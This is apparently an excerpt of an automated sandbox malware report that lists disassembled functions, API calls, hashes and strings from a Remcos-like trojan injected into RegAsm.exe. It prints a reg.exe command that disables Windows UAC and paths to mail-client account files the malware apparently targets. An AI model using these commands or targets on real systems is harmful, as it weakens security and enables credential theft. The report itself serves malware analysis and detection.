                      • lstrcatW.KERNEL32(?,?), ref: 1000165A
                      • lstrlenW.KERNEL32(?,?,?,?,?,1000190E,?,?,00000000,?,00000000,?,?,?,00000104,?), ref: 10001661
                      • lstrcatW.KERNEL32(00001008,?), ref: 10001686
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: lstrcatlstrlen$_strcat_strlen
                      • String ID:
                      • API String ID: 1922816806-0
                      • Opcode ID: 315c55c979a72bdf3ac51594b752bef976f460307e9923370b73d2b1bd80b905
                      • Instruction ID: a267a6945d1554df97f4c8e17fbec8689bbb0548aac84132402ab8fad08d9bbc
                      • Opcode Fuzzy Hash: 315c55c979a72bdf3ac51594b752bef976f460307e9923370b73d2b1bd80b905
                      • Instruction Fuzzy Hash: 9821A776900204ABEB05DBA4DC85FEE77B8EF88750F24401BF604AB185DF34B94587A9
                      Function 10001000 Relevance: 9.1, APIs: 6, Instructions: 76stringCOMMON
                      Download Yara Rule
                      APIs
                      • lstrcatW.KERNEL32(?,?), ref: 10001038
                      • lstrlenW.KERNEL32(?,?,?,?,00000000), ref: 1000104B
                      • lstrlenW.KERNEL32(?,?,?,?,00000000), ref: 10001061
                      • lstrlenW.KERNEL32(?,?,?,?,?,00000000), ref: 10001075
                      • GetFileAttributesW.KERNEL32(?,?,?,00000000), ref: 10001090
                      • lstrlenW.KERNEL32(?,?,?,00000000), ref: 100010B8
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: lstrlen$AttributesFilelstrcat
                      • String ID:
                      • API String ID: 3594823470-0
                      • Opcode ID: c62e9e5fa69f7526a4dcdb62aa87bf44082eca201cfcddb2e536fed9ba73336f
                      • Instruction ID: f5da6160d3db499da992451a69b84f141dc83571de07cfa19ff2ab3d93a8fd2c
                      • Opcode Fuzzy Hash: c62e9e5fa69f7526a4dcdb62aa87bf44082eca201cfcddb2e536fed9ba73336f
                      • Instruction Fuzzy Hash: DB21E5359003289BEF10DBA0DC48EDF37B8EF44294F104556E999931A6DE709EC5CF50
                      Function 0041AC78 Relevance: 9.1, APIs: 6, Instructions: 67serviceCOMMON
                      Download Yara Rule
                      APIs
                      • OpenSCManagerW.ADVAPI32(00000000,00000000,00000002,00000000,00000000,?,?,?,0041A38E,00000000), ref: 0041AC88
                      • OpenServiceW.ADVAPI32(00000000,00000000,00000002,?,?,?,0041A38E,00000000), ref: 0041AC9C
                      • CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A38E,00000000), ref: 0041ACA9
                      • ChangeServiceConfigW.ADVAPI32(00000000,000000FF,00000004,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,0041A38E,00000000), ref: 0041ACDE
                      • CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A38E,00000000), ref: 0041ACF0
                      • CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A38E,00000000), ref: 0041ACF3
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Service$CloseHandle$Open$ChangeConfigManager
                      • String ID:
                      • API String ID: 493672254-0
                      • Opcode ID: efec56fc5935d5a2572c80bdc1daad9799237a8c2fd258714d4154745ff5c6c1
                      • Instruction ID: ed0bae8235b77a8e2b5b4951a925fd67a34dfbd091713fce30693036f81a5133
                      • Opcode Fuzzy Hash: efec56fc5935d5a2572c80bdc1daad9799237a8c2fd258714d4154745ff5c6c1
                      • Instruction Fuzzy Hash: 84014E311452147BD6110B385C4DEFB3B5CDB42771F100317F925922D1EA68CD45B5EE
                      Function 10003856 Relevance: 9.1, APIs: 6, Instructions: 60COMMON
                      Download Yara Rule
                      APIs
                      • GetLastError.KERNEL32(?,?,10003518,100023F1,10001F17), ref: 10003864
                      • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 10003872
                      • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 1000388B
                      • SetLastError.KERNEL32(00000000,?,10003518,100023F1,10001F17), ref: 100038DD
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: ErrorLastValue___vcrt_
                      • String ID:
                      • API String ID: 3852720340-0
                      • Opcode ID: 669731f2127195b9a905fed2c89c9d5b837464d933d8447bfa53086d9201cd33
                      • Instruction ID: 2a33bd680f99e964f7cdf1ea0b0e713dcb61597015083b2077453114c578dac0
                      • Opcode Fuzzy Hash: 669731f2127195b9a905fed2c89c9d5b837464d933d8447bfa53086d9201cd33
                      • Instruction Fuzzy Hash: 0F012432608B225EF207D7796CCAA0B2BDDDB096F9B20C27AF510940E9EF219C009300
                      Function 00448215 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                      • _free.LIBCMT ref: 0044824C
                      • _free.LIBCMT ref: 00448274
                      • SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 00448281
                      • SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                      • _abort.LIBCMT ref: 00448293
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ErrorLast$_free$_abort
                      • String ID:
                      • API String ID: 3160817290-0
                      • Opcode ID: d577d612c1ffbc00090520c66a2c794f4cb9603406b177c38f93d9dbc2276fca
                      • Instruction ID: 1e51d54565af68f960eede883612623578b8b4ccb82fc25c91f14e3db4823c68
                      • Opcode Fuzzy Hash: d577d612c1ffbc00090520c66a2c794f4cb9603406b177c38f93d9dbc2276fca
                      • Instruction Fuzzy Hash: 15F0F935104F006AF611332A6C05B5F2515ABC276AF25066FF92892292DFACCC4581AD
                      Function 10005AF6 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • GetLastError.KERNEL32(?,?,10006C6C), ref: 10005AFA
                      • _free.LIBCMT ref: 10005B2D
                      • _free.LIBCMT ref: 10005B55
                      • SetLastError.KERNEL32(00000000,?,?,10006C6C), ref: 10005B62
                      • SetLastError.KERNEL32(00000000,?,?,10006C6C), ref: 10005B6E
                      • _abort.LIBCMT ref: 10005B74
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: ErrorLast$_free$_abort
                      • String ID:
                      • API String ID: 3160817290-0
                      • Opcode ID: c9cb188a03aa1811073f11ee06fa520bea6a831bfab7ff5292fc2b03e8e202de
                      • Instruction ID: 6ab9c425fee0725613b21b3b36aaf5e4259b246f4cabca8c388d0d7fb541d563
                      • Opcode Fuzzy Hash: c9cb188a03aa1811073f11ee06fa520bea6a831bfab7ff5292fc2b03e8e202de
                      • Instruction Fuzzy Hash: 8FF0A47A508911AAF212E3346C4AF0F36AACBC55E3F264125F918A619DFF27B9024174
                      Function 0041AAA6 Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                      Download Yara Rule
                      APIs
                      • OpenSCManagerW.ADVAPI32(00000000,00000000,00000020,00000000,00000001,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAB5
                      • OpenServiceW.ADVAPI32(00000000,00000000,00000020,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAC9
                      • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAD6
                      • ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAE5
                      • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAF7
                      • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAFA
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Service$CloseHandle$Open$ControlManager
                      • String ID:
                      • API String ID: 221034970-0
                      • Opcode ID: 4ae3873c1f536b49cfb6b65ca2e5a3703e9976f2291b0d96870e63be56c21842
                      • Instruction ID: 651adf303b3d55a6ad93a9774d9c6d096703db2647e4265c62a250da7e042a32
                      • Opcode Fuzzy Hash: 4ae3873c1f536b49cfb6b65ca2e5a3703e9976f2291b0d96870e63be56c21842
                      • Instruction Fuzzy Hash: 68F0C231541218ABD711AF25AC49EFF3B6CDF45BA2F000026FE0992192DB68CD4695E9
                      Function 0041ABAA Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                      Download Yara Rule
                      APIs
                      • OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,00000001,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABB9
                      • OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABCD
                      • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABDA
                      • ControlService.ADVAPI32(00000000,00000002,?,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABE9
                      • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABFB
                      • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABFE
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Service$CloseHandle$Open$ControlManager
                      • String ID:
                      • API String ID: 221034970-0
                      • Opcode ID: 81e2b4606ab98421978dc9842ef1edfa46dc1b90a9204ca08327dde20b0592b6
                      • Instruction ID: cdcae22f94af1ce7d279f83afe572816001e75aa845eac4345c2c81124f82824
                      • Opcode Fuzzy Hash: 81e2b4606ab98421978dc9842ef1edfa46dc1b90a9204ca08327dde20b0592b6
                      • Instruction Fuzzy Hash: 84F0C231501218ABD6116F259C49DFF3B6CDB45B62F40002AFE0996192EB38DD4595F9
                      Function 0041AC11 Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                      Download Yara Rule
                      APIs
                      • OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,00000001,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC20
                      • OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC34
                      • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC41
                      • ControlService.ADVAPI32(00000000,00000003,?,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC50
                      • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC62
                      • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC65
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Service$CloseHandle$Open$ControlManager
                      • String ID:
                      • API String ID: 221034970-0
                      • Opcode ID: fc89c5385e453168767847f65058b20f434ef67782af095c3a641765214ec1d0
                      • Instruction ID: 1af6be829003de2eeb85b71d4b0cbdb2c911632148e7083bdbbda8586ff13133
                      • Opcode Fuzzy Hash: fc89c5385e453168767847f65058b20f434ef67782af095c3a641765214ec1d0
                      • Instruction Fuzzy Hash: 2FF0F631501228BBD711AF25EC49DFF3B6CDB45B62F00002AFE0992192EB38CD4595F9
                      Function 100011EA Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 90COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 10001E89: lstrlenW.KERNEL32(?,?,?,?,?,100010DF,?,?,?,00000000), ref: 10001E9A
                        • Part of subcall function 10001E89: lstrcatW.KERNEL32(?,?), ref: 10001EAC
                        • Part of subcall function 10001E89: lstrlenW.KERNEL32(?,?,100010DF,?,?,?,00000000), ref: 10001EB3
                        • Part of subcall function 10001E89: lstrlenW.KERNEL32(?,?,100010DF,?,?,?,00000000), ref: 10001EC8
                        • Part of subcall function 10001E89: lstrcatW.KERNEL32(?,100010DF), ref: 10001ED3
                      • GetFileAttributesW.KERNEL32(?,?,?,?), ref: 1000122A
                        • Part of subcall function 1000173A: _strlen.LIBCMT ref: 10001855
                        • Part of subcall function 1000173A: _strlen.LIBCMT ref: 10001869
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: lstrlen$_strlenlstrcat$AttributesFile
                      • String ID: \Accounts\Account.rec0$\Data\AccCfg\Accounts.tdat$\Mail\$\Storage\
                      • API String ID: 4036392271-1520055953
                      • Opcode ID: 09c536ecd907401b0aa489f333ca62d314ebad464b807bf11bf7235871964734
                      • Instruction ID: e2b7c7e1c3038021adfe9ab266432482c710e64fc4cfb1bae4cfd9c1521b4980
                      • Opcode Fuzzy Hash: 09c536ecd907401b0aa489f333ca62d314ebad464b807bf11bf7235871964734
                      • Instruction Fuzzy Hash: 4B21D579E142486AFB14D7A0EC92FED7339EF80754F000556F604EB1D5EBB16E818758
                      Function 0041D50F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 57registryCOMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ClassCreateErrorLastRegisterWindow
                      • String ID: 0$MsgWindowClass
                      • API String ID: 2877667751-2410386613
                      • Opcode ID: a7bf03488480a67a5ab74e572dd3e9b3283d69d087452f3b28ffeaf09d6b5029
                      • Instruction ID: 921741f364e14ac5d494c0d6481b3569f22aad0bbfd2e997b493b5423d792a6e
                      • Opcode Fuzzy Hash: a7bf03488480a67a5ab74e572dd3e9b3283d69d087452f3b28ffeaf09d6b5029
                      • Instruction Fuzzy Hash: 910129B1D00219BBDB00DFD5ECC49EFBBBDEA04355F40053AF900A6240E77859058AA4
                      Function 00407755 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 43processCOMMON
                      Download Yara Rule
                      APIs
                      • CreateProcessA.KERNEL32(C:\Windows\System32\cmd.exe,/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f,00000000,00000000,00000000,08000000,00000000,00000000,?,?), ref: 0040779B
                      • CloseHandle.KERNEL32(?), ref: 004077AA
                      • CloseHandle.KERNEL32(?), ref: 004077AF
                      Strings
                      • C:\Windows\System32\cmd.exe, xrefs: 00407796
                      • /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f, xrefs: 00407791
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseHandle$CreateProcess
                      • String ID: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f$C:\Windows\System32\cmd.exe
                      • API String ID: 2922976086-4183131282
                      • Opcode ID: 86afbde76f2a9426f4ed7e8e7c7881cd7a3c7ba11745d0fd7a0dc136aa7099f4
                      • Instruction ID: bcd6b2dc2297655d1c2a6c7a9d844aadd79638dc8707381bf3a952a3ff6736b4
                      • Opcode Fuzzy Hash: 86afbde76f2a9426f4ed7e8e7c7881cd7a3c7ba11745d0fd7a0dc136aa7099f4
                      • Instruction Fuzzy Hash: BCF03676D4029D76CB20ABD6DC0EEDF7F7DEBC5B11F00056AF904A6141E6746404C6B9
                      Function 00407260 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40COMMON
                      Download Yara Rule
                      Strings
                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 004076C4
                      • Rmc-F4JFYD, xrefs: 004076DA
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID:
                      • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$Rmc-F4JFYD
                      • API String ID: 0-1884823758
                      • Opcode ID: a5e5064d23fdb4a5105bb888b891a2001f99cf11455aefb2b8df45e89f9c3324
                      • Instruction ID: 1b954d03a55cc3c1a25a26db856d3c6076ddce7f3b9fad0ad77fefb3a3407f05
                      • Opcode Fuzzy Hash: a5e5064d23fdb4a5105bb888b891a2001f99cf11455aefb2b8df45e89f9c3324
                      • Instruction Fuzzy Hash: 2CF046B0F14A00EBCB0467655D186693A05A740356F404C77F907EA2F2EBBD5C41C61E
                      Function 0044333A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,004432EB,?,?,0044328B,?), ref: 0044335A
                      • GetProcAddress.KERNEL32(00000000,CorExitProcess,?,?,?,?,004432EB,?,?,0044328B,?), ref: 0044336D
                      • FreeLibrary.KERNEL32(00000000,?,?,?,004432EB,?,?,0044328B,?), ref: 00443390
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: AddressFreeHandleLibraryModuleProc
                      • String ID: CorExitProcess$mscoree.dll
                      • API String ID: 4061214504-1276376045
                      • Opcode ID: cc52f7ac488aa55dad4b7db89aaf695af0dd1fe717ea7d7a85019ca2162c21c0
                      • Instruction ID: b4f1316bd170a33105784e50650a9bde6d9e9410588fddf83d5a1a7bf10dc45d
                      • Opcode Fuzzy Hash: cc52f7ac488aa55dad4b7db89aaf695af0dd1fe717ea7d7a85019ca2162c21c0
                      • Instruction Fuzzy Hash: 6AF0A430A00208FBDB149F55DC09B9EBFB4EF04713F0041A9FC05A2261CB349E40CA98
                      Function 004050E4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35synchronizationCOMMON
                      Download Yara Rule
                      APIs
                      • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00405120
                      • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00404E7A,00000001), ref: 0040512C
                      • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,?,00404E7A,00000001), ref: 00405137
                      • CloseHandle.KERNEL32(?), ref: 00405140
                        • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Event$CloseCreateHandleLocalObjectSingleTimeWait
                      • String ID: KeepAlive | Disabled
                      • API String ID: 2993684571-305739064
                      • Opcode ID: 11e320f67abdd95442ebe69be37ae07741154b3609cf10b7525108ad99fbffe3
                      • Instruction ID: c1447ea2195e795a2fa4d382ed9a15925dec3dc8ccf256ab7d783030aa8980db
                      • Opcode Fuzzy Hash: 11e320f67abdd95442ebe69be37ae07741154b3609cf10b7525108ad99fbffe3
                      • Instruction Fuzzy Hash: 4CF06271904711BBDB103B758D0A66B7A54AB02311F0009BEF982916E2D6798840CF9A
                      Function 0041ADC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30sleepCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                      • GetModuleHandleA.KERNEL32(00000000,00020009), ref: 0041ADF2
                      • PlaySoundW.WINMM(00000000,00000000), ref: 0041AE00
                      • Sleep.KERNEL32(00002710), ref: 0041AE07
                      • PlaySoundW.WINMM(00000000,00000000,00000000), ref: 0041AE10
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: PlaySound$HandleLocalModuleSleepTime
                      • String ID: Alarm triggered
                      • API String ID: 614609389-2816303416
                      • Opcode ID: 458a9fadc2ddf1b51f38526f332080559b1bee2397fd5821544ba6e308cf5034
                      • Instruction ID: 9c0713ce1321a11b0f254193fe9a85ef30a97b7eb59a64372af151f10574a600
                      • Opcode Fuzzy Hash: 458a9fadc2ddf1b51f38526f332080559b1bee2397fd5821544ba6e308cf5034
                      • Instruction Fuzzy Hash: 36E01226B44260779620377B6D4FD6F3D28DAC2B5170100BEFA0666192D9580C4586FB
                      Function 0041CD58 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON
                      Download Yara Rule
                      APIs
                      • GetStdHandle.KERNEL32(000000F5,00000000,?,?,?,?,?,?,0041CDED), ref: 0041CD62
                      • GetConsoleScreenBufferInfo.KERNEL32 ref: 0041CD6F
                      • SetConsoleTextAttribute.KERNEL32(00000000,0000000C), ref: 0041CD7C
                      • SetConsoleTextAttribute.KERNEL32(00000000,?), ref: 0041CD8F
                      Strings
                      • ______ (_____ \ _____) )_____ ____ ____ ___ ___ | __ /| ___ | \ / ___) _ \ /___)| | \ \| ____| | | ( (__| |_| |___ ||_| |_|_____)_|_|_|\____)___/(___/ , xrefs: 0041CD82
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Console$AttributeText$BufferHandleInfoScreen
                      • String ID: ______ (_____ \ _____) )_____ ____ ____ ___ ___ | __ /| ___ | \ / ___) _ \ /___)| | \ \| ____| | | ( (__| |_| |___ ||_| |_|_____)_|_|_|\____)___/(___/
                      • API String ID: 3024135584-2418719853
                      • Opcode ID: 7fe6fe9ce11b1ae804115fcba13355f31785efbed8ffac05f5782df1f2ab6211
                      • Instruction ID: 0b88db63cd78dea0703aeaf814a7171c31f7e2e6e0b1944ffb711cb25cf7542c
                      • Opcode Fuzzy Hash: 7fe6fe9ce11b1ae804115fcba13355f31785efbed8ffac05f5782df1f2ab6211
                      • Instruction Fuzzy Hash: B4E04872904315E7E31027B5EC4DDAB7B7CE745713B100266FA12915D39A749C40C6B5
                      Function 0044139A Relevance: 7.7, APIs: 5, Instructions: 222COMMONLIBRARYCODE
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: d82b14c4b7eddcab2a525b8a5736e815382cccc6b286473e45e20a4a09cb7dcc
                      • Instruction ID: 3288ceb70b28299b768e57bc56a65f905b411dc47ae91625c595fe6b39b3afde
